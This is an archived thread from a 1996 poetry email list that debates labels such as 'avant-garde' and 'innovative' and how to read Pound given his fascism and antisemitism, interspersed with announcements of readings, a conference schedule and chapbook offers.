Thank Steve and others for reminding me about Bernstein's and Perelman's pieces on Pound.

I think the problem of avant-garde that I'm trying to get at is one that Keith Tuma and others have expressed, that a good deal of the discourse on the a-g tends to see AN avant-garde rather than multiple movements/discourses/etc which we discuss as being avant-gardist. Same with modernism as opposed to modernisms.

It gets even stickier when we go beyond saying, "Pound's work is both fascist and radically non-authoritarian"--that is, it gets stickier when we try to nail down for sure what is and what isn't fascist. Of course, some aspects are obvious. What I'm interested in is how, let's say, Pound's glorification of Jefferson is both fascistic and radically humane at the same time. Or to take it to a different place, how Olson's work is both a conservative KULCHURal effort and an elaborate critique of that same culture.

William Northcutt

William Northcutt
Anglistik I
Universitaet Bayreuth
95440 Bayreuth
Tel: 44 921 980612
Fax: 44 921 553641

↑ Index

204. chris daniels
Re: thanks richard caddel
Wed 13 Mar 1996

---

thank you for the information, richard, and the very beautiful poem by thos a. clark --- i will definitely look into this poet

yrs ---

chris
---
christopher daniels <[redacted]> 3.13.96 2:02:59 am

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

205. **chris daniels**
Re: thos a clark's ghost book
Wed 13 Mar 1996

"rupert murdoch" is obviously a croesus and a stultus
but "ordered it to be burned" is amazingly terrifying
---
christopher daniels <[redacted]> 3.13.96 2:08:03 am

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

206. **Schuchat**
Re: avant-garde
Wed 13 Mar 1996

---

personally, I was always comfortable describing my own poetry as academic,
although no " real" academic poets ever considered it as such.

I remember once discussing with Ted Greenwald how little most "academic" poets actually knew about any traditional poetries. Of course, that was some time ago, perhaps the situation has changed.

↑ Index

207. Karen or Peter Landers
Re: 16 Oz or
Wed 13 Mar 1996

> *Or, Pound the fascist could also be Pound the artist because both were Pound the human being and neither the fascist nor the artist fully disappeared at the presence of the other; they formed this hybrid which created _The Cantos_. But the artist tricked the fascist because the poetic text, once released, escaped the control of (the artist too, but more importantly:) the fascist.*

or read _Your Witness_, a poem by Charles Olson ...

"If a man isn't willing to take some risk for his opinion, "either his opinions are no good or he's no good"

Peter Landers
[redacted]

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208. Henry Gould
Re: avant-garde
Wed 13 Mar 1996

I liked Ron Silliman's connecting "avant-garde" with the sacrificial aspect. But it seems to cover an awful lot of territory; how, for example, is Marsden Hartley's career sacrificial? Are all the modernists sacrificial victims on the altar of a few mighty masters who get all the attention? Doesn't that just play into the cliche of the heroic artist? What lasts, what gets read, what people like in the next millenium, is still very open to question. I think the critical & public judgements about art works and artists should be evaluated very specifically with respect to the individual artist, within a historico-biographico- aesthetic frame. To lump all the "experimental" artists out there as part of a great creative sacrifice punished by the critical/academic dead wood powers-that-be leaves out all the historico-biograph-aesthetic details. For example, each of the ignored great Harlem Renaissance poets & writers have white counterparts - sacrificial or no - who for a long time got more attention than they did. But fame/sacrifice are not simple contraries. Don't talk to me about the heroic sacrificial artist any more; tell me about the talented artist who makes some work that's gonna stand no matter how many or few discover it. The vagaries of criticism & attention have always been just that. I know this sounds like denial, disinterest, or indifference to many of the burning "canon" issues discussed here, but often such discussions leave out the particular, actual art works, and end up echoing or rehashing real aesthetic issues of long ago. What are the aesthetic - as opposed to literaro-political - issues of today? - Henry Gould

↑ Index

209. Charles Alexander
Re: POETICS Digest - 11 Mar 1996 to 12 Mar 1996
Wed 13 Mar 1996

Nice that this is the second time within a year (go back through the poetics list archive) that thomas a. clark has been the subject. Richard Caddel's list leaves out one title I have, which is Dwellings & Habitations, from Prest Roots Press in 1993. Kate Whiteford contributes drawings which do justice as well. Among the pages

saxifrage on a wet rock face

samphire in a salt marsh

skeins of mist among bog cotton

a depth of sky in a shallow pool

quite in the rib-cage of a sheep's carcase

always nice to have a reason to look back at thomas a. clark's work.

charles alexander

↑ Index

210. Herb Levy
Subtext Readings in Seattle
Wed 13 Mar 1996

Here's the schedule for the next few months: the first two readings listed were curated by Ezra Mark, the last two are the first of four readings to be curated by Nico Vassilakis.

Thursday March 21
Nico Vassilakis & Laura Feldman

Thursday April
Jeanne Heuving & Dan Farrell

Thursday May
Joseph Keppler & Gerald Burns

Thursday June
Michael Magoolaghan & Catriona Strang with Francois Houle

All readings at the Speakeasy Cafe at 2304 2nd Avenue in Seattle's Belltown district at 7:30pm.

Donation of $5.

Also of note, David Bromige will read at Open Books at 2414 N 45th Street on April 11th.

Herb Levy
[redacted]

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211. Paul Naylor
avante-garde and other terms
Wed 13 Mar 1996

I find the discussion of the possible adjectives for the poetry we discuss on this list very useful and productively problematic. I'm facing a very practical problem on this issue. I'm in the process of writing a book on contemporary poetry that focuses on six poets -- Susan Howe, Nathaniel Mackey, Charles Bernstein, Lyn Hejinian, Kamau Brathwaite, and M. Nourbese Philip -- and I'm struggling with that necessary adjective to put after that requisite colon in my title. Like Charles, this is a practical problem of addressing an audience that may not know who these poets are and would like ("require" may be more accurate, since my first audience will be publishers of academic books) some way of initially categorizing (an awful yet necessary stage in this scene of writing) the writers I'm discussing. I too find "experimental" the least appropriate term, and I do like the term "avant-garde" because it taps in to the tradition Ron mentions, but it does carry too many "berets and black clothes" connotations for too many people. Again like Charles, I tend to use the term "innovative," but I doubt that there is a poet out there who doesn't consider his or her work to be "innovative" in some sense (I'm sure Mark Strand considers his work "innovative," but I'm also fairly sure that he wouldn't consider his work "avant-garde"), so it may not do the work of distinguishing the poets I'm concerned with from the poets I'm not concerned with. I'd prefer not to pin these poets down with a single adjective, but I don't think that will fly in the realm of discourse I've chosen to enter with this book. So I'd greatly appreciate any suggestions about how do deal with this nagging but (it seems to me) necessary issue. And, yes, this post is the product of tenure-angst.

Paul Naylor
SEND
in%"[redacted]"
in%"[redacted]"

SEND
in%"[redacted]"
in%"[redacted]"

↑ Index

212. **Henry Gould**
Re: avante-garde and other terms
Wed 13 Mar 1996

On Wed, 13 Mar 1996 09:04:25 -0600 Paul Naylor said:
>not to pin these poets down with a single adjective, but I don't think that
 So I'd
>greatly appreciate any suggestions about how do deal with this nagging but (it
>seems to me) necessary issue. And, yes, this post is the product of
>tenure-angst.

--How about "swell"?

↑ Index

213. **Jordan Davis**
should be = death
Wed 13 Mar 1996

---

forgive the provocative appropriation
but I'm hearing things that remind me
of the "rules" thread from last year
roughly this time aka "reverse"
and I'd like to float the waterlily
that there are some ideas one works
on and adjusts these being ones politics
aesthetics and general way you know

life and when description cools
it becomes imperative maybe but
what do you call that then that
saying to yourself no not that do
this is that learning? or writing

↑ Index

214. **Paul Naylor**
Re: avante-garde and other terms
Wed 13 Mar 1996

Henry -- "swell" is perfect, and much more compact than "Poets Paul Likes," which is the real answer to my dilemma -- but since I'm not Helen Vendler, I don't think I can get away with it.

Paul Naylor

MAIL
SEND
in%"[redacted]"
in%"[redacted]"

> *From: IN%"[redacted]" "UB Poetics discussion group" 13-MAR-1996 09:40:48.81*
> *Subj: RE: avante-garde and other terms*
>
> *On Wed, 13 Mar 1996 09:04:25 -0600 Paul Naylor said:*
> *not to pin these poets down with a single adjective, but I don't think that*
> *So I'd*
> *greatly appreciate any suggestions about how do deal with this nagging but (it*
> *seems to me) necessary issue. And, yes, this post is the product of*
> *tenure-angst.*
>
> *--How about "swell"?*

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215. R I Caddel
Carlyle Reedy
Wed 13 Mar 1996

Carlyle Reedy's new book from words worth books:
Obituaries and Celebrations . 0 906024 05 6 . 9.95pounds plus post
words worth books, BM Box 4515, London WC1N 3XX

Carlyle's had work in loads of anthologies from "Children of Albion" (196-something) to "Out of Everywhere" (recently plugged on this list, Reality Street, 1996) but very few solo publications. I failed to get her to do one with Pig, years ago, there's a slim pamphlet called "The Orange Notebooks" (Reality Studios, 1984) - and now this. It's really nicely produced, too.

f i r e lights
b o n e s the chinese
cast of faces recognized
hair
wet soft caught in
hands
familiar

lilies of solomon
Ash in the instant

I realise now that this will look very odd on some folks' equipment - oh well, you'll just have to go and buy it...
Richard Caddel

↑ Index

216. **Henry Gould**
Re: should be = death
Wed 13 Mar 1996

On Wed, 13 Mar 1996 10:43:21 -0500 Jordan Davis said:
>forgive the provocative appropriation
>but I'm hearing things that remind me
>of the "rules" thread from last year
>roughly this time aka "reverse"
>and I'd like to float the waterlily
>that there are some ideas one works
>on and adjusts these being ones politics
>aesthetics and general way you know

This sounds like what the deathly Blasing was describing - the fusion of form and politics
>
>life and when description cools
>it becomes imperative maybe but
>what do you call that then that
>saying to yourself no not that do
>this is that learning? or writing

Maybe choosing? Somewhere in Shakespeare's sonnets, I forget which one, he distinguishes between political maneuverings and something else, a commitment or dedication (to love? to art? God?) he calls "hugely politic". I suppose this HAS all been discussed before, on some thread or other; the dividing line between art & politics is essentially un-markable on any abstract scale of apprehension, yes; but I guess when I think of "poetics" (and what do I know about it?) I'm thinking of the graininess of the maker's work - the sound, the rhythm, the crossweave, the stealth, the obstacles, the finish, yeah, the form. And the human & maybe transhuman (along with political) impulses behind it. -HGould

↑ Index

217. **David Baratier**
Re: Ghost books
Wed 13 Mar 1996

These books are _not_ ghost books. The imagist anthology was a copyeditors nightmare, done in such a rush that the typos throughout the book are well documented and easy to notice by comparing the anthologized pieces with the originals. So to to answer your question, all of these are slight

typographical errors of the original titles of Williams second through fifth books. Of course I'm new to this list, perhaps your definition of ghost titles includes any book mentioned in print, reguardless of textual elements mired in error.

[redacted]

_____ Reply Separator _____
Subject: Ghost books Author: UB Poetics discussion group <[redacted]> at INTERNET Date: 12/03/1996 00:59

Imagist Anthology 1930, Edited by Glenn Hughes?, Forewords by Ford Madox
Ford and Glenn Hughes. London: Chaoot and Windus, 1930, lists at the end of its "Bibliography" on pages 153-154 four titles by William Carlos Williams:

Tempera. 1913.
Kora in Hell. 1920.
Four Grapes. 1921.
In the American Grave. 1925.

Does anyone know of any other ghost titles, announced (or even promised)?

+ +

Peter Quartermain
128 East 23rd Avenue
Vancouver
B.C.
Canada V5V 1X2
Voice and fax: [redacted]

+ +

↑ Index

218. **Steve Carll**

Re: avante-garde and other terms

Wed 13 Mar 1996

At 09:04 AM 3/13/96 -0600, Paul Naylor wrote:

> *I too find "experimental" the least*
> *appropriate term, and I do like the term "avant-garde" because it taps in to*
> *the tradition Ron mentions, but it does carry too many "berets and black*
> *clothes" connotations for too many people. Again like Charles, I tend to use*
> *the term "innovative," but I doubt that there is a poet out there who doesn't*
> *consider his or her work to be "innovative" in some sense (I'm sure Mark Strand*
> *considers his work "innovative," but I'm also fairly sure that he wouldn't*
> *consider his work "avant-garde"), so it may not do the work of distinguishing*
> *the poets I'm concerned with from the poets I'm not concerned with.*

Last year two of my poems appeared in a UK little magazine called _Terrible Work_, and the contributors' notes in the back referred to me as an "expansionist." Elsewhere in the issue, the editor mentioned preferring that term to "linguistically innovative", "avant-garde", "experimental", "post-modern", etc., but he didn't really say why, except to note that some minimalism could also be expansionist. I guess what's supposed to be expanding are the possibilities of language, but in practice the term sounds kind of ominous, like "imperialist" or "neocolonial" or something. Yikes!

I think Paul Naylor may have hit on something with his distinction between a single, monolithic AVANT-GARDE as opposed to many avant-gardes. If used in this way, much of the elitist hot air is deflated, since any single avant-gardist is one among many, and even one's particular AV-GD group is one group among many. Of course, "the avant-gardes" as a whole can still be opposed to "the mob" or whatever, but I think there's something to be said for speaking and hearing terms like this carefully and conscientiously, rather than simply rejecting them because they may need a little further elaboration due to historical-cultural baggage they've acquired. This baggage is exactly what needs to be sorted through.

Steve

↑ Index

219. **Alan Sondheim**

Re: 16 Oz or

Wed 13 Mar 1996

Have you read the radio broadcasts? If you haven't, let me assure you they contain some of the worst anti-semitism I've ever read. I can't read Pound anymore; he sickens me. The artist didn't trick the fascist; the fascist did his disgusting dirty work, did damage.

Alan

On Wed, 13 Mar 1996, Karen or Peter Landers wrote:

> *Or, Pound the fascist could also be Pound the artist because both were Pound the human being and neither the fascist nor the artist fully disappeared at the presence of the other; they formed this hybrid which created _The Cantos_. But the artist tricked the fascist because the poetic text, once released, escaped the control of (the artist too, but more importantly:) the fascist.*
>
> *or read _Your Witness_, a poem by Charles Olson ...*
>
> *"If a man isn't willing to take some risk for his opinion,*
> *"either his opinions are no good or he's no good"*

> *Peter Landers*
> [redacted]

With some new texts and image files -
http://jefferson.village.virginia.edu/~spoons/internet_txt.html
Other images at http://www.cs.unca.edu/~davidson/pix/

↑ Index

220. Henry Gould
what is poetics
Wed 13 Mar 1996

Lesson 12 in HG's Back to Basics course.

Half hour after I posted last message expounding on poetics as close reading, I happened upon the following (in Poetics of Cavafy, by G. Jusdanis):

"I take poetics to mean a theory of literature that seeks a methodical knowledge of the principles underlying it. It defines literature and its subdivisions, as it also establishes the criteria and standards by which literature has meaning and value. As Tsvetan Todorov points out, poetics does not propose a close reading or a description of a particular work, nor does it promise to name the text's message; rather it explores the laws governing the production of literature. Poetics is concerned with the properties of literary discourse; it differentiates the codes specific to literature as opposed to those of other arts, such as painting, architecture, or dance. In other words, poetics represents the theory of a particular art - literature - in the system of arts." HG

↑ Index

221. Bill Luoma
NYC Poetry Talks, fwd from R. Fitterman
Wed 13 Mar 1996

NYC Poetry Talks: a convergence of questions
March 29, 30, 31, 1996
Organized by Robert Fitterman and Stacy Doris

Panel Discussions
New York University: Silverstein Lounge and Jurow Lecture Hall
101 Main Building (NE corner of Washington Square Park)

Poetry Readings
Biblio's Bookstore
317 Chruch Street (1 block south of Canal Street)

The Ear Inn
326 Spring Street (Corner of Washington Street)

Ichor Gallery
127 W. 26th Street (between 6th & 7th Avenue)

St.Mark's Poetry Project
2nd Avenue & 10th Street

Segue Performance Space
303 E. 8th Street (between Avenues B & C)

Friday, March 29
3:00 Opening Remarks

3:30>>Poetry & Definition (I)
Joe Elliot
Robert Fitterman
Andrew Levy
Kristin Prevallet
Rodrigo Toscano

3:30>>Poetry & Definition (II)
Lee Ann Brown
John Byrum
William R. Howe
Garrett Kalleberg
Heather Ramsdell
Rod Smith

5:00>>Poetry & Community
Tim Davis
Jeff Derksen
Stacy Doris
Kimberly Lyons
Sianne Ngai
Joe Ross

5:00>>Poetry & Audience
Michael Friedman
Judith Goldman
Dan Machlin
Melanie Neilson
Fiona Templeton

6:30>>Poetry & Collaboration
Elena Alexander

Michael Basinski
Martine Bellen
Heather Fuller
Kim Rosenfield
Cole Swenson

10:30>>Poetry Reading at St. Mark's
Michael Heller
Michael Basinski
Jeff Derksen
Chris Funkhouser
Joel Kuszai
Kristin Prevallet
Lisa Robertson
Cole Swenson

Saturday, March 30

10:00>>Poetry & Tradition (I)
Dan Farrell
Liz Fodaski
Ben Friedlander
Robert V. Hale
Catriona Strang/Nancy Shaw

10:00>>Poetry & Tradition (II)
Louis Cabri
Lisa Jarnot
Bill Luoma
Doug Rothschild
Chris Stroffolino
Mark Wallace

12:00>>Poetry & Poetic Forms
Beth Anderson
Steven Farmer
Jessica Grim
Joel Kuszai
Sean Killian
Lisa Robertson

12:00>>Poetry & Technology
Jordan Davis
Chris Funkhouser
Brian Kim Stefans
Samuel Truitt

2:30>>Reading at The Ear Inn
Elena Alexander
William R. Howe
Nancy Shaw
Catriona Strang
Chris Stroffolino
Rodrigo Toscano

6:00>>Reading at Ichor Gallery
Stacy Doris
Steven Farmer
Dan Farrell
Robert Fitterman
Ben Friedlander
Jessica Grim
Melanie Neilson
Kim Rosenfield

10:00>>Book Party at Segue
12:00>>Party Party @ Bill Luoma's Apt
280 Court St #4 Brooklyn, NY 11231
(between Douglass & Degraw) [redacted]
F train to Bergen St, follow traffic on Bergen to Court, left.

Sunday, March 31

3:00>>Readings at Biblio's:
Beth Anderson
John Byrum
Louis Cabri
Heather Fuller
Sianne Ngai
Joe Ross
Mark Wallace

4:00>>Readings at Biblio's:
Lee Ann Brown
Tim Davis
Michael Friedman
Lisa Jarnot
Bill Luoma
Doug Rothschild
Rod Smith

5:00>>Readings at Biblio's:
Martine Bellen

Garrett Kalleberg
Sean Killian
Andrew Levy
Dan Machlin
Heather Ramsdell
Samuel Truitt

6:00>>Readings at Biblio's:
Jordan Davis
Joe Elliot
Liz Fodaski
Robert V. Hale
Kimberly Lyons
Brian Kim Stefans
Fiona Templeton

A presentation of New York University's School of Continuing Education, in conjunction with the General Studies Program. Special thanks to Dean Gerald Heeger (SCE), Dean Steve Curry (GSP) and the SCE Writer's Community for their support and assistance.

↑ Index

222. Steven Howard Shoemaker
Re: avant-garde
Wed 13 Mar 1996

William Northcutt writes:

"And has anyone yet tried to disentangle how it is that Pound's work, fascist and goddamned hard-assed as it is has aspects which make some of the more humane and radical aspects of lang-po impossible without there having first been Pound? I don't buy the pure methodology excuse. But I would like to know what some of you think."

I think this is a pretty fascinating question. Perelman's Pound chapter in The Trouble with Genius takes it on in more depth than anything else i've seen. But still leaves much to wrestle with...

steve

↑ Index

223. **David Kellogg**
Another one for the academics
Wed 13 Mar 1996

As per the list guidelines, I announce:

A piece I wrote AGES ago is just out. Some on this list might be interested.

"Literary History and the Problem of Oppositional Practice in Contemporary Poetry," *Cultural Critique* 32 (Winter 1995-96): 153-186.

Although the piece is "about" poetry, there's no actual citation of poems. It's really about Robert Langbaum, using Langbaum's 1957 book "The Poetics of Experience" to argue that prevailaing notions of poetic history constitute a repressive univocal mechanism -- also, it makes a plea at the end for a more Foucauldian genealogy (thus more or less describing my current project).

I extend the same offer that I made for my American Imago piece a couple weeks back -- anybody wants it should mail me and I'll send a xerox gratis (sorry, they didn't send offprints).

Apologies for redundancy: if I'd known this piece was going to come out on the tail of the other one, I would have sent them together. As it was, I mailed the Lacan article this week.

As it's a wee bit of labor on my part, I'd ask that folks who are likely to paper their birdcages with either article don't ask.

Also, before I forget: a piece on the Irish poet Thomas Kinsella entitled "Kinsella, Geography, History" should be out *any day now* in SAQ. I'll send that too if you'd like.

Send your addresses again, too -- I wrote them on address labels.

Cheers,
David
~~~
~~~

224. **Ada Aharoni**
Re: avant-garde
Wed 13 Mar 1996

Hi!

And has anyone tried to protest how it is that Pound's work, fascist and god-damned Hitlerite ... is so much discussed in this list?

I don't buy the pure methodology excuse or any other pitiful excuse.

What I suggest is -- just bury the guy and forget about him, alongside his his "genuis mates" Hitler and Mussolini.

Ada Aharoni

↑ Index

225. **Chris Stroffolino**
Re: avant-garde
Wed 13 Mar 1996

Hey, I heard a rumour there's a new bernadette mayer book out on nude-erections does anybody know if this is true? chris

↑ Index

226. **Steve Carll**
Re: turn of the repressed
Wed 13 Mar 1996

At 11:36 PM 3/13/96 +0200, Ada Aharoni wrote:

> *What I suggest is -- just bury the guy and forget about him, alongside his his "genuis mates" Hitler and Mussolini.*

It would be nice if things were this simple, wouldn't it?

Steve

↑ Index

227. **David Golumbia**
Re: turn of the repressed
Wed 13 Mar 1996

> *At 11:36 PM 3/13/96 +0200, Ada Aharoni wrote:*
>
> *What I suggest is -- just bury the guy and forget about him, alongside his his "genuis mates" Hitler and Mussolini.*

> *It would be nice if things were this simple, wouldn't it?*

Well, I don't think burying people is too complicated, but if those three haven't been embalmed, they must stink pretty badly.

--
[redacted]
David Golumbia

↑ Index

228. Emily Lloyd
let's talk about fascists, bay-bee...
Wed 13 Mar 1996

At 11:36 PM 3/13/96 +0200, Ada Aharoni wrote:

> *And has anyone tried to protest how it is that Pound's work, fascist and goddamned Hitlerite ... is so much discussed in this list?*
>
> *I don't buy the pure methodology excuse or any other pitiful excuse.*
>
> *What I suggest is -- just bury the guy and forget about him, alongside his his "genuis mates" Hitler and Mussolini.*

Eek, I mean, gosh, I don't even LIKE Pound's stuff (except the loose translations), but--flaming guyzie-with-1001-liberal-causes that I am--I can't agree with agreeing NOT to discuss him just because his politics repulse me. All the more reason TO discuss him. If I only read/discussed the poets that didn't offend me in some way politically, I'm not sure WHO I'd read. <counting my finger>. It is important, tho, to discuss him as we *are* discussing him--fully acknowledging his fascism, etc., which often gets edged out by that wet, black bough in classroom discussions.

Vivas to you, Henry, for your post on sacrificial a-g poets. (& I don't mean that in no Whitmanian sense, neither) If we want to say "why talk Pound, who's been done to death, when we could talk about harlem renaissance poets," then I'm all for *that*.

~~~
~~~

229. **Alan Sondheim**
Re: let's talk about fascists, bay-bee...
Wed 13 Mar 1996

But what does it mean to "fully acknowledge his fascism"? Does it mean to read his fascist texts, or just to talk about them? Does it mean to read his poetry or just to talk about it?

Hatred makes me sick. I have trouble with Kerouac, Eliot, and the like. A survivor once told me if I ignored the anti-semites I'd hardly have anyone to read. But it's the same problem for me, say, with Henry Miller - much as I appreciate his support of AN, his justification of woman-beating on occasion is difficult for me to take.

Also given the shit in the world at the moment, the subject header for this thread is insulting. I don't find fascism fun.

Alan

On Wed, 13 Mar 1996, Emily Lloyd wrote:

> *At 11:36 PM 3/13/96 +0200, Ada Aharoni wrote:*
>
> *And has anyone tried to protest how it is that Pound's work, fascist and goddamned Hitlerite ... is so much discussed in this list?*
>
> *I don't buy the pure methodology excuse or any other pitiful excuse.*
>
> *What I suggest is -- just bury the guy and forget about him, alongside his his "genuis mates" Hitler and Mussolini.*
>
> *Eek, I mean, gosh, I don't even LIKE Pound's stuff (except the loose translations), but--flaming guyzie-with-1001-liberal-causes that I am--I can't agree with agreeing NOT to discuss him just because his politics repulse me. All the more reason TO discuss him. If I only read/discussed the poets that didn't offend me in some way politically, I'm not sure WHO I'd read. <counting my finger>. It is important, tho, to discuss him as we *are* discussing him--fully acknowledging his fascism, etc., which often gets edged out by that wet, black bough in classroom discussions.*
>
> *Vivas to you, Henry, for your post on sacrificial a-g poets.*
> *(& I don't mean that in no Whitmanian sense, neither)*
> *If we want to say "why talk Pound, who's been done to death, when we could talk about harlem renaissance poets," then I'm all for *that*.*

> ~~~

231. chris daniels
Re: avante-garde and other terms
Wed 13 Mar 1996

paul ---

how abt

colon
Poets What I Read During Summer Vacation
---
christopher daniels <[redacted]> 3.13.96 5:02:23 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

232. chris daniels
Re: should be = death
Wed 13 Mar 1996

> *there are some ideas one works*
> *on and adjusts these being ones politics*
> *aesthetics and general way you know*
>
> *life and when description cools*
> *it becomes imperative maybe but*
> *what do you call that then that*
> *saying to yourself no not that do*
> *this is that learning? or writing*

i hear that loud and clear

chis

---
christopher daniels <[redacted]> 3.13.96 5:07:11 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"
--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

233. chris daniels

Re: 16 Oz or

Wed 13 Mar 1996

> *Have you read the radio broadcasts? If you haven't, let me assure you they contain some of the worst anti-semitism I've ever read. I can't read Pound anymore; he sickens me. The artist didn't trick the fascist; the fascist did his disgusting dirty work, did damage.*

o yeah those broadcasts are some sick shit.

that's the thing for me as well w/ pound, being myself a jew. wch is why the ONLY pound i can read is the pisan cantos where pound is convinced he is soon to die for his naive treason and he KNOWS what a fool he's been and he tells us so. i can't stand him as a person either, but some of those cantos are unspeakably honest and terrible and beautiful. it does not redeem his idiotic racism one jot, can not palliate the fact that he took his amazing talent and crapped all over it for the sake of that sub-primate mussolini and his thug cohorts scattered all over europe. but some of those pisan cantos are among the greatest poetry.

chris

---

christopher daniels <[redacted]> 3.13.96 5:15:02 pm

q: "how can you be revolutionary when 20 years ago they
said anything goes?"

--- charles wourinen (?)

a: "free yr mind and yr ass will follow."

--- george clinton

snail: 1474b 7th st berkeley ca 94710 usa
voice: [redacted]
http://users.lanminds.com/~kunos/ (constructing)

↑ Index

234. chris daniels
Re: let's talk about fascists, bay-bee...
Wed 13 Mar 1996

> *Vivas to you, Henry, for your post on sacrificial a-g poets.*
> *(& I don't mean that in no Whitmanian sense, neither)*
> *If we want to say "why talk Pound, who's been done to death, when we could talk about harlem renaissance poets," then I'm all for *that*.*

yep

chris

>~~~

Some years ago I interviewed Rita Dove for a feminist newsjournal. I asked her if her advice to women writers would be different from her advice to men. She said something along the lines of, "To women, I'd say, don't miss reading Hemingway just because he's a sexist man. To blacks, don't miss out on reading so-and-so because they're racist & white." I fully agree. Often there's something to learn from these bad folks. This could be anything from "knowing thine enemy" to useful ideas sitting on a page right next to insulting crap, as I often find with the man down there in my signature quote.

Hatred makes *all* (at least, most) of us sick. Your "having trouble" does not saint you. If we need to get into a "who's more marginalized and mad at the bad bad world" contest, I'll be happy to throw my stats into the ring. I apologize if the subject header offended (Alan, whoever else) (whoops, it's on this message, too). I do not think fascism is "fun." The header does not connote "fun" to me. I was thinking of the Salt-n-Pepa song "Let's Talk About Sex"----i.e., we need to talk about the things in our lives that affect us, scare us, are surrounded by silence, NOT *avoid* talking about them. Sex and fascism--poor interchangeables, I realize. On the other hand, maybe not.

~~~
~~~

>poetry:
>
>"the poetry of 'unverifiable fact'- that which emerges from dreams,
>sexuality, subjectivity-- and the poetry of 'documentary fact'-literally,
>accounts of strikes, wars, geographical and geological details, actions of
>actual persons in history, scientific invention.
> "Like her, I have tried to combine both kinds of poetry in a
>single poem, not separating dream from history-- but I do not find it
>easy."
>
>Pound also wrote both kinds in single poems. He did not find it easy either.
>
>Poems create space in the universe (this also from Rich). The spaces
>created balance the weight of material history (weaponry, stripmalls, etc)
>but also the weight of ideas. To face Pound, poets have to create poems
>which balance the bastard out. We have to descend into the same dark dream
>to undo on the poetic level what's been done on the historic. That's our
>job.
>
>Get to work.
>
>Laura
>[redacted]
>

↑ Index

237. **Gwyn McVay**

Re: 16 Oz or

Thu 14 Mar 1996

Bravo, Peter Landers, bravo, bravo for compassion. I take
psychiatric meds, too, and would not like my life's work to
be judged on what I was like "before."

Of course, that's easy for me to say, woman but not Jew.

Gwyn McVay

↑ Index

238. Peter Jaeger
Re: avant-garde and other terms
Thu 14 Mar 1996

The term "Savant gardeN" comes to mind, but I'm not sure if I just made it up or read it somewhere else

Peter Jaeger

↑ Index

239. cris cheek
Re: Reedy / plus Sound & Language books (special offer)
Thu 14 Mar 1996

Ric mentioned Carlyle - I published a chapbook of hers called 'Sculpted In This World' in 1979 under my old Bluff Books imprint - 18 poems - still have some copies if there's interest.

Also available from Sound & Language:

'stranger' - cris cheek (44pp, one extended piece)

a brief extract:

Film keeps jumping in Her frame.

And on an old Hum
Teeming with cows
a blood puddle yoked to a sky.

The Earth - burying
A small boy beating a Squealing
Pig with a red hot stick . .

One at one time, bird lures
Flit across corn, of Ripening
Chrome.

Smudging movements, to irrigate Fracture.

and 'Civic Crime' - Allen Fisher (29pp - 6 poems from 'gravity as a consequence of shape'):

(from 'Cakewalk')

The image of a woman frottaged
by the Burglar
to the wall shifts
with his attention reads

a bicontinuous sponge
with surfactant interfaces.

His cleansing gaze as he sees it
rapidly fluctuates the curvature
of her shapes. They begin to leave
the wall and spatter
the footpath.
The Informer's report confirms

they are metallic balls of
crystalline liquids sandwiched
in saliva honeycombs and
dynamically disordered into droplets
disturb the gravel.
Oh what a wonderful world.

. . .

and 'Sore Models' - Miles Champion (32pp sequence of 28 poems):

what place does consiousness have
in a world of molecules
for which God or Nature designed
the solid table of common sense?
a coral reef has a history
thousands of small mutations finding their niches
a cosmic ray scrambles the atoms
of secularisation and late capitalism
an obsessional kink
in these brains
left by traumatic constellations of causal forces
and producing talk

(27/12/94)

and 'TM 4' - Ulli Freer (40pp - 4 poems):

a tight never
found myself in a pit
full of many bodies
some were moving
between the bushes woes
magpies flutter reflections
damage limitation line war

low sound merges thresholds
each breath stirs inversion
who eats propaganda raw
garden green in your heart
on saturday me awn
saturday and
magpie circles the head

Offer is to Poetics list subscribers at: all five books (Carlyle Reedy / cris cheek / Allen Fisher / Miles Champion / Ulli Freer)

15 dollars (cash)
10 pounds sterling (money order or sterling cheque)
or swap for other chapbooks

Offer runs from April 1st (but it's not an April Fools gag - just that's the date of the Ulli Freer publication to make this offer possible).

Separate titles can be bought at 5 dollars or 2 pounds sterling or equivalent.

love and love
cris

↑ Index

240. **Henry Gould**
Re: avant-garde and other terms
Thu 14 Mar 1996

On Thu, 14 Mar 1996 07:58:33 -0500 Peter Jaeger said:
>The term "Savant gardeN" comes to mind, but I'm not sure if I just made
>it up or read it somewhere else

Savant gardeN ? - or... Savagen' trad'N ?

↑ Index

241. **Chris Stroffolino**
Re: let's talk about fascists, bay-bee...
Thu 14 Mar 1996

I probably quoted this once before...
Cixous quotes I. Bachman---
"the first thing in a relationship between a man and a woman is fascism...."
why are we racing to be so bold?

↑ Index

242. Karen or Peter Landers
Re: 16 Oz or
Thu 14 Mar 1996

Alan Sondheim <[redacted]>wrote:
>Have you read the radio broadcasts? If you haven't, let me assure you
>they contain some of the worst anti-semitism I've ever read. I can't read
>Pound anymore; he sickens me. The artist didn't trick the fascist; the
>fascist did his disgusting dirty work, did damage.
>
>On Wed, 13 Mar 1996, Karen or Peter Landers wrote:
>>
>> or read _Your Witness_, a poem by Charles Olson ...
>>
No, I haven't read them and I don't want to. I believe you.
But how many people did he affect in a good way? Jewish or gay poets
that he encouraged or recommended to editors. Doesn't it go some
way toward reconciliation? Zukofsky spoke up for him, too.

And, as a friend pointed out recently, shouldn't we be more upset at people like Frost who got a colleague fired for being gay? When did Ezra actually personally destroy another person's life? I have friends who have to take a lot of medecine. I try not to hold them responsible for the things they have done when ill.

Peter
[redacted]

↑ Index

243. James Perez
Re: avante-garde and other terms
Thu 14 Mar 1996

---

paul, I think you should cut to the point on the subject

title:
Poets. Hide yourself or be Destroyed!

